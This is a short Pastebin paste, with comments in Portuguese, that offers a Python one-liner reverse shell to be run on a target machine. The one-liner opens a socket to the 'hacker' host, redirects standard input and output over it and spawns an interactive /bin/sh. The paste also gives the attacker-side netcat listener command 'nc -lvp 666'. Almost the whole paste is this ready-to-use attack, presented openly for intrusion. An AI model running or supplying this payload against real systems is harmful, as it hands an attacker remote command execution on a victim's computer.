DarkProgrammer000

Reverse shell [sh]

Jul 7th, 2021 (edited)
964
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '''
  2. # Conexao reversa [sh]:
  3. # Programa: Shell reversa em 1 linha de comando
  4. Obs:
  5. 1) Ip (hacker): 192.168.0.100
  6. 2) Porta (hacker): 666
  7. 3) Computador do hacker: nc -lvp 666
  8. '''
  9.  
  10. # Alvo
  11. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
RAW Paste Data